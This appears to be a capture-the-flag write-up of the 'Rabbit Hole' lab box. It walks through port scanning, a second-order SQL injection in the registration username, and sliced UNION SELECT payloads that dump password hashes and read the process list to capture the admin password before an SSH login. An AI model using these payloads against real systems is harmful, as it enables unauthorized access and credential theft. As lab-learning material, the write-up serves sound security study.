Rabbit Hole
1. Initial Reconnaissance
We began by scanning the target system to identify open ports. Using Nmap, we scanned all TCP ports at a high rate:
export TARGET_IP=10.10.27.56
nmap -p- -Pn --min-rate 5000 $TARGET_IP
Output:
Not shown: 65369 closed tcp ports (reset), 164 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
2. Web Application Analysis
Navigating to http://10.10.27.56/
, we observed a message warning about anti-bruteforce measures and active monitoring of the login functionality. Additionally, the login page imposes a default 5-second delay on any input, confirming that brute force attempts are discouraged.
We registered a user account and logged in. The subsequent “Last logins” page listed recent login attempts:
Last logins
User 1 - admin last logins
2025-02-03 09:20
2025-02-03 09:19
...
User 4 - test last logins
2025-02-03 09:18
Observation:
The admin user appears to log in every minute, which hints at some automated or routine process running in the background.
3. Discovering the SQL Injection
By experimenting with the input fields, we attempted to inject a SQL payload by registering a user with the username containing a quote ("
). On login, we received an error:
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax...
Explanation:
This error indicates that our input is being embedded in a SQL query without proper sanitization. The fact that our payload later appears on the “last logins” page suggests a second order SQL injection — our input is stored and then later used in a query without proper escaping.
4. Enumerating the Injection Parameters
a. Determining the Number of Columns
To use a UNION-based injection, the number of columns in our injected query must match the original query. We began by injecting:
/" UNION SELECT 1 -- -
This resulted in a “cardinality violation” error, so we tried:
/" UNION SELECT 1,2 -- -
Output:
2
Conclusion:
The union query expects 2 columns.
b. Listing Database Tables
Using the INFORMATION_SCHEMA.COLUMNS
table, we extracted table names from the current database:
/" UNION SELECT 1, table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=DATABASE() --
Output:
users,logins
c. Identifying Columns in the users
Table
Next, we extracted the column names from the users
table:
/" UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name ='users'-- -
Output (truncated):
id,username,pass...
Because the output was truncated to 16 characters, we used substring functions:
-
First 16 characters:
/" UNION SELECT 1,SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name ='users'), 1, 16)-- -
Output:
id,username,pass
-
Next 16 characters:
/" UNION SELECT 1,SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name ='users'), 17, 16)-- -
Output:
word,group
Conclusion:
The users
table consists of the following columns:
id
, username
, password
, and group
.
5. Extracting Credentials
a. Dumping the Admin Credentials
To retrieve the admin credentials, we concatenated the username and password using SQL functions and then bypassed the output length limit by slicing the result:
-
First part:
/" UNION SELECT 1,SUBSTRING((SELECT CONCAT(username, ':', password) FROM users LIMIT 1), 1, 16) -- -
Output:
admin:0e3ab8e45a
-
Second part:
/" UNION SELECT 1,SUBSTRING((SELECT CONCAT(username, ':', password) FROM users LIMIT 1), 17, 16) -- -
Output:
c1163c2343990e42
-
Third part:
/" UNION SELECT 1,SUBSTRING((SELECT CONCAT(username, ':', password) FROM users LIMIT 1), 33, 16) -- -
Output:
7c66ff
Combined Admin Credential:
admin:0e3ab8e45ac1163c2343990e427c66ff
b. Dumping Another User’s Credentials (Example: foo)
Using an OFFSET to target the second record:
/" UNION SELECT 1,SUBSTRING((SELECT CONCAT(username, ':', password) FROM users LIMIT 1 OFFSET 1), 1, 16) -- -
Output:
foo:a51e47f64637
Note:
While we extracted data for another user, the focus remained on the admin account.
6. Leveraging the Process List
The application’s 5-second login delay led us to inspect the information_schema.processlist
table, which reveals running queries. We hypothesized that an active query might reveal additional credentials or sensitive data.
Our initial query:
0" union all select null,info from information_schema.processlist-- -
Output:
SELECT * FROM lo
0" union all select null,info from information_schema.processlist where info not like '%info%'-- -
Output:
SELECT * from us
0" union all select null,mid(info,1,16) from information_schema.processlist where info not like '%info%'
union all select null,mid(info,17,16) from information_schema.processlist where info not like '%info%'
union all select null,mid(info,33,16) from information_schema.processlist where info not like '%info%'
union all select null,mid(info,49,16) from information_schema.processlist where info not like '%info%'
union all select null,mid(info,65,16) from information_schema.processlist where info not like '%info%'
union all select null,mid(info,81,16) from information_schema.processlist where info not like '%info%'
union all select null,mid(info,97,16) from information_schema.processlist where info not like '%info%'
union all select null,mid(info,113,16) from information_schema.processlist where info not like '%info%'
union all select null,mid(info,129,16) from information_schema.processlist where info not like '%info%'
union all select null,mid(info,145,16) from information_schema.processlist where info not like '%info%' -- -
After refining our query to filter and slice the info
field, we repeatedly refreshed the page until we captured a complete query in the process list:
SELECT * from users where (username= 'admin' and password=md5('fEeFBqOXBOLmjpTt0B3LN-{B0end}-kgTpbOQcLlvgmoCt35qogicf8ao0Q'
) ) UNION ALL SELECT null,null,n...
Outcome:
This revealed the actual admin password used for authentication:
admin:fEeFBqOXBOLmjpTt0B3LN-{B0end}-kgTpbOQcLlvgmoCt35qogicf8ao0Q
7. Gaining Access and Retrieving the Flag
With the recovered credentials, we accessed the target system via SSH:
ssh admin@10.10.27.56
After confirming our access with:
id
# Output: uid=1002(admin) gid=118(admin) groups=118(admin)
We then retrieved the flag:
cat /home/admin/flag.txt
# FLAG :)